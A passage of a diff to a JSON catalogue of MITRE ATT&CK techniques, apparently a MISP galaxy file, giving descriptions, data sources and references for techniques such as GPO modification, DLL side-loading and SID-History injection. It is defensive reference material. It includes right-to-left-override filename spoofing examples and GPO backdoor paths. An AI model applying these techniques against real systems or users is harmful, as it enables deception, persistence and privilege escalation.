modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", + "description": "A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.\n\nPerforming SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)\n\nMalicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).", + "meta": { + "external_id": "T1448", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1448", + "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" + ] + }, + "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "value": "Carrier Billing Fraud - T1448" + }, + { + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", "meta": { "external_id": "T1484", "kill_chain": [ - "mitre-attack:defense-evasion" + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" ], "mitre_data_sources": [ "Windows event logs" @@ -7795,24 +12315,21 @@ "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1494", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1494", "https://content.fireeye.com/apt/rpt-apt38", "https://www.justice.gov/opa/press-release/file/1092091/download" ] }, + "related": [ + { + "dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", "value": "Runtime Data Manipulation - T1494" }, @@ -7836,6 +12353,40 @@ "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f", "value": "Exploit Baseband Vulnerability - T1455" }, + { + "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. \n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", + "meta": { + "external_id": "T1546", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Windows event logs", + "System calls", + "Binary file metadata", + "Process use of network", + "WMI Objects", + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Loaded DLLs", + "DLL monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546" + ] + }, + "uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "value": "Event Triggered Execution - T1546" + }, { "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS", "meta": { @@ -7856,22 +12407,40 @@ "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431", "value": "Malicious Media Content - T1457" }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", + "meta": { + "external_id": "T1574", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Environment variable", + "Loaded DLLs", + "Process command-line parameters", + "Process monitoring", + "File monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" + ] + }, + "uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "value": "Hijack Execution Flow - T1574" + }, { "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "meta": { "external_id": "T1487", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_data_sources": [ - "Kernel drivers", - "MBR" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1487", "https://www.symantec.com/connect/blogs/shamoon-attacks", @@ -7881,6 +12450,15 @@ "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" ] }, + "related": [ + { + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2e114e45-2c50-404c-804a-3af9564d240e", "value": "Disk Structure Wipe - T1487" }, @@ -7888,19 +12466,6 @@ "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1488", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_data_sources": [ - "Kernel drivers", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1488", "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", @@ -7908,9 +12473,375 @@ "https://www.justice.gov/opa/press-release/file/1092091/download" ] }, + "related": [ + { + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", "value": "Disk Content Wipe - T1488" }, + { + "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials. \n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ", + "meta": { + "external_id": "T1556", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "API monitoring", + "Windows Registry", + "Process monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1556", + "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", + "https://www.secureworks.com/research/skeleton-key-malware-analysis", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ] + }, + "uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "value": "Modify Authentication Process - T1556" + }, + { + "description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:\n\n* Abusing device owner permissions to perform silent uninstallation using device owner API calls.\n* Abusing root permissions to delete files from the filesystem.\n* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", + "meta": { + "external_id": "APP-43", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1576", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" + ] + }, + "uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "value": "Uninstall Malicious Application - T1576" + }, + { + "description": "Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)", + "meta": { + "external_id": "T1577", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1577", + "https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures", + "https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/" + ] + }, + "uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "value": "Compromise Application Executable - T1577" + }, + { + "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.", + "meta": { + "external_id": "T1053.001", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/001", + "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "value": "At (Linux) - T1053.001" + }, + { + "description": "Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.", + "meta": { + "external_id": "T1053.002", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/002", + "https://twitter.com/leoloobeek/status/939248813465853953", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/library/dd315590.aspx", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "value": "At (Windows) - T1053.002" + }, + { + "description": "Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.\n\nA common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", + "meta": { + "external_id": "T1036.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/002", + "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", + "https://securelist.com/zero-day-vulnerability-in-telegram/83800/" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", + "value": "Right-to-Left Override - T1036.002" + }, + { + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", + "meta": { + "external_id": "T1090.003", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090/003" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "type": "subtechnique-of" + } + ], + "uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "value": "Multi-hop Proxy - T1090.003" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "meta": { + "external_id": "T1102.003", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1102/003", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "type": "subtechnique-of" + } + ], + "uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", + "value": "One-Way Communication - T1102.003" + }, + { + "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", + "meta": { + "external_id": "T1132.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1132/002", + "https://en.wikipedia.org/wiki/Binary-to-text_encoding", + "https://en.wikipedia.org/wiki/Character_encoding", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "type": "subtechnique-of" + } + ], + "uuid": "d467bc38-284b-4a00-96ac-125f447799fc", + "value": "Non-Standard Encoding - T1132.002" + }, + { + "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", + "meta": { + "external_id": "T1134.005", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows event logs", + "Authentication logs", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134/005", + "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "https://msdn.microsoft.com/library/ms679833.aspx", + "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", + "https://technet.microsoft.com/library/ee617241.aspx", + "https://adsecurity.org/?p=1772", + "https://msdn.microsoft.com/library/ms677982.aspx" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "type": "subtechnique-of" + } + ], + "uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", + "value": "SID-History Injection - T1134.005" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.\n\nPrograms may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", + "meta": { + "external_id": "CAPEC-capec", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/002", + "https://capec.mitre.org/data/definitions/capec.html", + "https://docs.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies-", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "value": "DLL Side-Loading - T1574.002" + }, + { + "description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", + "meta": { + "external_id": "T1547.007", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/007", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "value": "Re-opened Applications - T1547.007" + }, { "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)", "meta": { @@ -7951,49 +12882,10 @@ "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", "value": "Multi-Stage Channels - T1104" }, - { - "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", - "meta": { - "external_id": "T1072", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "File monitoring", - "Third-party application logs", - "Windows Registry", - "Process monitoring", - "Process use of network", - "Binary file metadata" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1072" - ] - }, - "uuid": "92a78814-b191-47ca-909c-1ccfe3777414", - "value": "Third-party Software - T1072" - }, { "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "meta": { "external_id": "CAPEC-641", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1073", "https://capec.mitre.org/data/definitions/641.html", @@ -8001,19 +12893,51 @@ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" ] }, + "related": [ + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", "value": "DLL Side-Loading - T1073" }, { - "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled 